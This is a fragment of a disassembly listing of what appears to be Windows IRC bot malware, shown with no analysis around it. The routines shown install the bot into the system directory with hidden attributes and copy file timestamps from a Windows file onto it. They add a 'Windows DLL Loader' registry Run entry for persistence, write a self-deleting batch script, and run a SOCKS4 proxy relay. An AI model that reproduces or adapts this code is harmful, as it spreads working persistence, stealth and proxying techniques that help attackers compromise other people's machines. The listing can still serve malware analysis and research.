var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call dword_417040 ; GetWindowsDirectoryA push offset dword_418DE8 lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_417048 ; GetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_41704C ; SetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call dword_417068 ; WriteFile push [ebp+var_28] call dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: .data:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: .data:0041AD4Co ; .data:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset dword_41EB2C push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_41707C ; CreateProcessA call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset dword_41EB2C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset dword_41EB2C push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset dword_41EB2C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DE30 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset dword_418EEC loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call dword_417248 ; recv mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C ; free pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DE30 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 